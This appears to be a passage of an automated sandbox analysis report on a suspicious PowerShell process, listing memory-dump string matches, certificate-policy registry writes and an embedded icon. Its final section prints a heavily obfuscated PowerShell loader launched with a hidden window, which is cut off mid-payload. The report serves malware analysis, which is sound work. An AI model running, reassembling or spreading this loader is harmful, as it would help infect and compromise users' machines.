PackageManagement\Get-PackageProvider | Where-Object { $_.Name -ne $script:PSModuleProviderName -and $_.Features.ContainsKey($script:SupportsPSModulesFeatureName) }" (Indicator: "Get-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$providerName = Get-PackageManagementProviderName -Location $SourceLocation" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Register-PackageSource @PSBoundParameters" (Indicator: "Register-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Set-PackageSource @PSBoundParameters" (Indicator: "Set-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Unregister-PackageSource @PSBoundParameters" (Indicator: "Register-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Unregister-PackageSource @PSBoundParameters" (Indicator: "Unregister-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$packageSources = PackageManagement\Get-PackageSource @PSBoundParameters" (Indicator: "Get-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Get-PackageManagementProviderName" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$providers = PackageManagement\Get-PackageProvider | Where-Object { $_.Features.ContainsKey($script:SupportsPSModulesFeatureName) }" (Indicator: "Get-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$packageSource = Get-PackageSource -Location $loc -Provider $provider.ProviderName -ErrorAction SilentlyContinue" (Indicator: "Get-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$packageSource = Get-PackageSource -Location $loc -Provider $provider.ProviderName -ErrorAction SilentlyContinue" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$res = Get-PackageSource -Location $loc -Provider $PackageManagementProvider.Value -ErrorAction SilentlyContinue" (Indicator: "Get-PackageSource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$res = Get-PackageSource -Location $loc -Provider $PackageManagementProvider.Value -ErrorAction SilentlyContinue" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$PackageManagementProvider.Value = Get-PackageManagementProviderName -Location $Location" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$nugetProvider = PackageManagement\Get-PackageProvider -ErrorAction SilentlyContinue -WarningAction SilentlyContinue |" (Indicator: "Get-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$availableNugetProviders = PackageManagement\Get-PackageProvider -Name $script:NuGetProviderName `" (Indicator: "Get-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Import-PackageProvider -Name $script:NuGetProviderName `" (Indicator: "Import-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Install-PackageProvider -Name $script:NuGetProviderName `" (Indicator: "Install-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$nugetProvider = PackageManagement\Get-PackageProvider -Name $script:NuGetProviderName" (Indicator: "Get-PackageProvider"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp")50:T1591,Found string "Microsoft.PowerShell.Core\Where-Object {-not $RequiredVersion -or ($RequiredVersion -eq $_.Version)}" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$resolvedPath = Resolve-PathHelper -Path $Path -CallerPSCmdlet $PSCmdlet | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -eq $moduleName} |" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object -Last 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -eq $moduleInfo.Name} |" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "PackageManagement\Find-Package @PSBoundParameters | Microsoft.PowerShell.Core\ForEach-Object {" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$destinationPath = Resolve-PathHelper -Path $Path -CallerPSCmdlet $PSCmdlet | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$destinationPath = Resolve-PathHelper -Path $LiteralPath -IsLiteralPath -CallerPSCmdlet $PSCmdlet | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$availableModules = Get-Module -ListAvailable $moduleName -Verbose:$false | Microsoft.PowerShell.Utility\Select-Object -Unique -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\ForEach-Object {New-PSGetItemInfo -SoftwareIdentity $_ -Type $script:PSArtifactTypeModule} |" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\ForEach-Object {" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "PackageManagement\Get-Package @PSBoundParameters | Microsoft.PowerShell.Core\ForEach-Object {New-PSGetItemInfo -SoftwareIdentity $_ -Type $script:PSArtifactTypeModule}" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$psgetModuleInfo.Includes.DscResource | Microsoft.PowerShell.Core\ForEach-Object {" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$psgetModuleInfo.Includes.Command | Microsoft.PowerShell.Core\ForEach-Object {" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$psgetModuleInfo.Includes.RoleCapability | Microsoft.PowerShell.Core\ForEach-Object {" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_.Name -eq $scriptName} |" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Core\Where-Object {$_ -eq $scriptFilePath }" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$scriptFilePathsToUpdate = $installedScriptFilePaths | Microsoft.PowerShell.Core\Where-Object {" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "PackageManagement\Get-Package @PSBoundParameters | Microsoft.PowerShell.Core\ForEach-Object {New-PSGetItemInfo -SoftwareIdentity $_ -Type $script:PSArtifactTypeScript}" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$providers = PackageManagement\Get-PackageProvider | Where-Object { $_.Name -ne $script:PSModuleProviderName -and $_.Features.ContainsKey($script:SupportsPSModulesFeatureName) }" (Indicator: "Where-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$packageSources | Microsoft.PowerShell.Core\ForEach-Object { New-ModuleSourceFromPackageSource -PackageSource $_ }" (Indicator: "ForEach-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$scriptFilePath = Resolve-PathHelper -Path $Path -CallerPSCmdlet $PSCmdlet | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$scriptFilePath = Resolve-PathHelper -Path $LiteralPath -IsLiteralPath -CallerPSCmdlet $PSCmdlet | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Select-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp")51:T116b,Found string "$script:IsWindows = (-not (Get-Variable -Name IsWindows -ErrorAction Ignore)) -or $IsWindows" (Indicator: "Get-Variable"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:IsLinux = (Get-Variable -Name IsLinux -ErrorAction Ignore) -and $IsLinux" (Indicator: "Get-Variable"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:IsOSX = (Get-Variable -Name IsOSX -ErrorAction Ignore) -and $IsOSX" (Indicator: "Get-Variable"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:IsCoreCLR = (Get-Variable -Name IsCoreCLR -ErrorAction Ignore) -and $IsCoreCLR" (Indicator: "Get-Variable"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$telemetryMethods = ([Microsoft.PowerShell.Commands.PowerShellGet.Telemetry] | Get-Member -Static).Name" (Indicator: "Get-Member"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$moduleSource = Get-PSRepository -Name $Repository -ErrorAction SilentlyContinue -WarningAction SilentlyContinue" (Indicator: "Get-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$moduleSource = Get-PSRepository -Name $Repository -ErrorVariable ev" (Indicator: "Get-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$module = Microsoft.PowerShell.Core\Get-Module -ListAvailable -Name $Name -Verbose:$false |" (Indicator: "Get-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$module = Microsoft.PowerShell.Core\Get-Module -Name $resolvedPath -ListAvailable -ErrorAction SilentlyContinue -Verbose:$false" (Indicator: "Get-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "# Use Find-Script to check if that name is already used as scriptname" (Indicator: "Find-Script"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$scriptPSGetItemInfo = Find-Script @FindParameters |" (Indicator: "Find-Script"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$currentPSGetItemInfo = Find-Module @FindParameters |" (Indicator: "Find-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Find-Module" (Indicator: "Find-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = Get-PSRepository -Name $Repository -ErrorVariable ev -verbose:$false" (Indicator: "Get-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$psgalleryRepo = Get-PSRepository -Name $Script:PSGalleryModuleSource `" (Indicator: "Get-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$installationPolicy = (Get-PSRepository -Name $source).InstallationPolicy" (Indicator: "Get-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$availableModules = Get-Module -ListAvailable $moduleName -Verbose:$false | Microsoft.PowerShell.Utility\Select-Object -Unique -ErrorAction Ignore" (Indicator: "Get-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Get-InstalledModule" (Indicator: "Get-InstalledModule"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "#region Find-DscResource cmdlet" (Indicator: "Find-DscResource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Find-DscResource" (Indicator: "Find-DscResource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "PowerShellGet\Find-Module @PSBoundParameters |" (Indicator: "Find-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "#endregion Find-DscResource cmdlet" (Indicator: "Find-DscResource"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "#region Find-Command cmdlet" (Indicator: "Find-Command"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Find-Command" (Indicator: "Find-Command"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "#endregion Find-Command cmdlet" (Indicator: "Find-Command"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp")52:T49d,Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00003176.00000000.68893.086F0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00003176.00000000.68893.08A00000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00003176.00000000.68893.08AF0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00003176.00000000.68893.08AF0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00003176.00000001.70814.08A20000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00003176.00000001.70814.08A20000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00003176.00000001.70814.08A20000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00003176.00000001.70814.08AC0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00003176.00000001.70814.08B10000.00000004.mdmp")53:T739,Found string "Microsoft.PowerShell.Core\Set-StrictMode -Version Latest" (Indicator: "Set-StrictMode"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Update-Module" (Indicator: "Update-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Update-Script" (Indicator: "Update-Script"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Set-Variable -Name selectedProviderName -value $null -Scope 1" (Indicator: "Set-Variable"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Set-Variable -Name PackageManagementProvider -Value $selectedProviderName -Scope 1" (Indicator: "Set-Variable"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Set-PSRepository" (Indicator: "Set-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Update-ScriptFileInfo" (Indicator: "Update-Script"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Update-ScriptFileInfo" (Indicator: "Update-ScriptFileInfo"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "# Use existing values if any of the parameters are not specified during Update-ScriptFileInfo" (Indicator: "Update-Script"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "# Use existing values if any of the parameters are not specified during Update-ScriptFileInfo" (Indicator: "Update-ScriptFileInfo"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "# Keep the existing provider options if not specified in Set-PSRepository" (Indicator: "Set-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp")54:T9f8,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES")55:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3UAAAAAAAAAAAAAAAAAB3d3d1AAAAAAAAAAAAAAB3h4h3d3dQAAAAAAAAAAB3h3eHd4h3d3UAAAAAAAB3d3iId3d4j4d3dwAAAAB3d3iIiHeHd3iIiHdwAAB3d3iIj/+Hd4h3d3iHcAAHd3iIj///+Ih3eIh3iHcAd3iIj////4iIiId3iHhwAHiIj////4iIiIiIiHd4dwB4j/////iPiIiIiIiIiHcAeP///4j////4iIiIiHdwAHf/+IiP/////4iIiHdwAAAHeIiIj/////+Ih3cAAAAAAAd3iP//////h3cAAAAAAAAAAHd4////h3AAAAAAAAAAAAAAB3eId3AAAAAAAAAAAAAAAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////wf///wA///wAB//wAAD/wAAAPwAAABwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAABgAAAA4AAAA/AAAB/8AAB//4AD///wD////n//////////////////////////////////////////////////w==56:T6764,-windowstyle hidden "<#Heteronomi Tyndtflydendes Beltine Fanatikerne #><#Keelvat Forudbestilte Centralistiske Collybist Kkkenrullernes Degenerescent Leaguing #>$Durbar = """Co;AnFNiuStnRucOptBiiPoo Pn D JNIsoAnnMosbecOvr AuAftBei On VitoeBrsPr4Be Ra{El T o Di Bp Sa frNoaKrmTr(Su`$ThK Dlspo Da UkSekBeeBirStnCoeAc)Ur;IrFa`$DiF LomooIntBem HaKorChkPrsNd=Fo'BlsOlu f'Ra;FoFy`$ ISSwaLabInbSpaBitIniSlcPoalilBlnPeeFisDasPr In=Ou ca`$AdKSkludoPraAbkTekIne KrSknUneSl.DyLCueGunGagAdtArhLo;Fe Um P Hy De`$MoAGrdcevKnowakUfaRitOpsAmeank BrRieIntCyr KePhnCofQulPas AeSerFaeVanatsSu2Ph3Su4 SnKddJisSueManCidDaeGalMysOmeAsnLasRe N=To hyNCyevawEf-FrOIsbprjMaeSkc Otps LobFrySytNeeRu[te]An C(Sk`$UnSEnabrb nbTea St AiBac CaEflBonRueOvsDrsuf An/Pl Pe2Mo) A; S f`$NaAmidRevOcoCokpuaTrtFis BeNikHerEse Ut GrAleEkn SnGug NePrrGrgNuiSvvGieBanId=Vo`$ SFmioUfoTtt MmKraUnrovkCasFo+Sh' IBAcsBrTEpRBfIYuN SG E'Sp;Cu Ai So f PrFProStrDe(Fo`$ MAsedHavWooFyk Ka AtFlsGeeRok ArOpeFitSerToeWenRef Fl NsMaeNorMaeOpnTjsma2Ti3Fo4Li=wi0Te;me Sp`$CaAOsdRevDao FkReaLotResKaeTikChrChePhtStrPreScnFrfFelGlsHueLkrDieSengasun2Fa3 O4 C Ri-MaldotTo St`$CoS Ua KbIrbStasytPri ecKea BlInnHieAcsTrs s;Un Re`$PaASydStvUnoBakFoaPrtVasSveIkkEnrSteArtOtr OeMenSafPrlRosKie CrSmeYdn Ts D2Co3Co4Ha+Ba=El2Rh) A{Ba Um Da D Ef Ch Us E U`$DiA Bd Sv OoDokBra FtNisSoechkNer NePltVarUneHvnCafFrlHasAneSarKreScnApsYa2Pr3my4VenRedStsAceLonUdd eeunlInsReeUnn Ss F[ H`$SaA SdPivStoHokStaDetRisGieStk JrBleSptEmr SeFlnKafBolFosFie Ar Te SnGosOp2Br3 N4Mi/Sy2No]Le Mu=In Fr[CacScoFonShv DeKirFitHj]Ga: A:UnTBeo SBAnyBatUneKo(Ke`$EfKPil UoHjaAskUnk Ee TrTon Aeko. H`$HaAPydLevDroPok saRetKysOpe MkSurAleFotUnrSaeVanUnnJagnoeAvrSugRei AvRieMinAc.DiIChnClvSaoHekBlePr(De`$udAdadKavOpo IkBia CtSns AeLukRirFre Lt QrUdeMenSaf PlTrs Le LrTheDenTesDe2Le3To4 R,St He2re) S,ma Sp1Sy6 M)Bu; pTuNv`$ReAInd TvImoBekEvaMotLus DeThkAnrReeEutDrrFreNon rfNolKlsGleBur UeKnn SsPo2 A3Sw4 FnLud DsBeeEln SdMue IlBisPretvnVis S[Dv`$TjAundEcvReoThkSuaStt OsAfe UkklrOweCot DrDeeUnnsufSllErs TeOfrpueVinDesan2 F3Hy4Re/ E2Ta]Ni Re= T AfxSloLerBea AmNei I Te`$unADedGevToo OkTraRet BsUreUnksarKoeUdtPor PeCun CfSplKisPaeDorUneEmnAussa2Re3Un4InnCedDas SeClnHydMieCilKisKneAfnAssGl[Fr`$ CAMudFlv ToGek NaHetJesJoeRekHmrPreBatPrrMueRenRofOplmasSteVurDoe knInsAb2Re3Mu4 B/ e2Mo]An Su2Eu3Sm2In;Po T Me Sa B}UkTr[ NSRatTvrSpiChn VgRe]Ca[FlSOryEjsAftMueSpmMi.WoTGaeInxJetRe.OpEBrn pc VoTid ViSenUkgTu]Sl:Hi:GlA SSGoC CI KICo.FuG LeBit PSdetBarBaiRinKug F(Sn`$ UAbrdMivMuoMakBra GtfosAteKnk crSueTutSvr aeElnBefBalImsPoe GrAremenEasFl2sy3 B4 TnKkdHusRseCan MdIneFrlWespeeUdn IsFe)un;Sa}la`$ PAAmnredSmo puRei RlFalSce T0St=caN WoFinFlsDicForViuAltReiOpn BigreSesVu4 a Cu'soBTrBUn9Tj1Bu9 SBOr9MoCFo8 BDin8De5BrCSy6Fr8 CCSc8Un4Jo8Ru4Un'Wi;Be`$AcA sn Ud PoCouFriWolOplSheAm1Ex=RaNVaoEnnDis Tc Sr VuCotVriSynHyiBoeRasBe4 L H'DeABl5 S8 F1 R8HaBAf9flALu8 B7Ku9 BB O8Go7 I8ToEWa9GaCTuChe6BrB pF E8Op1 N8Ud6BlDSeBDyD IA dCPa6RhBMaD G8Me6 K9AlB a8 d9Dy8InENo8BiDSoASa6 p8 T9Pa9StC S8Zo1Ca9UdEGe8 ODhuASu5 S8FeD T9 ACMe8Sy0Ra8Ci7Si8MeCBa9saBGr'Te;Qu`$HoAepn Gd HoPruEniFolTulPaePl2Bo=GrNTioLan is VcStr CuTetEri SnejiMieMas K4Ov P'AcAEnF h8BoD C9ReCEuBOi8He9baAHo8 R7Fa8WrBCrAan9 t8InCRe8GeCGe9InAHo8 UDKo9RaB G9SeBSo'er;An`$ReAKonbud Po NuKoiStlPrl Tepr3 H=TaNunoFan usDecTerAfuBatEciThnPuiReeTjsUn4Sl um'HiBDiBRe9 R1Tr9BjBBu9 FC H8deDTe8Te5 ECAf6stBSiALy9 BDKn8Ca6 R9SaCSl8 S1 R8Fa5 B8AgDKuCBl6 FAEu1Sk8En6Bu9SiCar8InDGl9PsAIn8Po7Ek9St8 EB PBBo8RuD G9muALi9UtETr8Gl1 O8FlBCa8MuDTr9 SBRaCKr6SkA M0Wi8 T9Su8Fi6Gp8AdCTa8 H4sa8 SDsoBIsABn8 CDTh8HaE H' N;So`$ MA FnIndPeobiuFuipolLul ReGu4Ca= GNLlo SnpesBecGlrBau ft riKanImi BeDisTr4Vi Re'Ch9 FBCh9OpC G9biABr8Co1Re8 A6 A8KoFKr'Pa;Es`$IrAPunAbdSnoViu AiVelPol AeSk5Co= TNRuoUlnAbs McRerUnu MtGeiprnMeiPreSusAr4Sd Ho' BAStFTa8KdDLa9 ACTeA S5Bu8Ov7Po8KvCfo9MuDOp8 P4Al8PrDMpABe0Ka8 N9Ma8Fo6 O8HeCMa8Ov4Te8SaDDe' P;Sy`$JeAConDudAmoOmuvoifil SlheeBe6Ov=KrNBio Fn VsLscPur PuNotEriTunLaiPaePhsAu4un Fr' PB PA sBFoCMeBBeBTu9No8us8 GDDi8SnBCl8 s1No8No9Mo8Pi4KoA V6Pr8Wr9Fi8Ba5Aa8NoDCoCSk4SqC P8 OA B0Fe8Ti1or8EaC L8ScDNoAFlA P9ab1CoB DBTa8 W1Wh8 KFBoCOr4GuCOu8UsB P8Wo9IrDSt8HeA B8Mo4Su8Te1Br8RaBUn'ci;Go`$DuAInnEud LoPiuFyiMalStlEgeDy7 S=TaNMao AnSisLic HrUnu MtLai InFii OeUnsUb4Bo I'SuBStASm9PoDAn8Kn6 U9InC U8Do1Sl8Tu5Va8ReD LCVu4HyCEj8WeAPo5Ba8Ny9No8Se6 U8 U9Fr8 MFAd8ChDCo8 NCJo'So;so`$FrATyn hd UoUouSoiLelSul BeFr8Sk=StNMooRen ds Rc OrFluKotSniLinGaiOpeEnsGa4He Mi'BiBGeAAe8BrDek8ScEAn8Fo4Sc8CuD F8OxBKu9SaCOv8 SDGl8grCThACeCAl8 HDEl8 N4Fn8BrDIn8AbFDa8El9Ko9OpC r8 BDNo' R;fr`$InADenSkdVio FuHoipalFll UeSa9Re=BrN Co BnDesPucSurBauLntFaiEkn Mi LeAls S4di t'EnALa1Mi8Ba6BeABa5 L8LiDSa8 F5 w8At7Go9 SASc9Re1DeAAn5Co8Te7Un8OvCIn9UtD D8md4 S8TeDRe'To; R`$SuS HlPiePhpOuePozJr0 U=hoNSooPan csexcbarKou HtDoiBinBriLneFls O4Fo Gn'SkAUl5Sp9 S1BoAZaCti8RiDSy8Ka4Po8ApDMa8TaFSu8Ro9 S9UnCUn8PiD DB UC C9Di1Om9fo8Ge8TrDFu'Tr;Si`$BlS SlCoeSupVie Wz S1Ar=NoNeto EnAssLacIgrGeuLntRiiSanKaiGee As G4 U St'EvAPsB F8Be4 H8 N9 F9KnBKe9KrB SCHj4HoCAc8PaBbl8pe9 CDOp8HoA K8Al4Ti8 K1Un8FeB TCAm4ReCNo8ZoBHjB S8SuDRe8Eg9Ce8Om4be8 SDNu8KlCCoCRh4FoCDy8UnAMo9Su8Ca6Pr9RuBOp8Un1faANoBSt8Br4Ho8Ta9Au9TeBJo9 nBStCUn4GeCLo8ClARo9Hg9TaDpe9SiCTo8Pi7InAkeBWh8 U4Ls8sk9Co9GaBSa9PrBps'ly;Qu`$AkSAkluneGlp BeThzHj2Kr=ToNDeo EnOpsDec prIsuMetPriElnbei 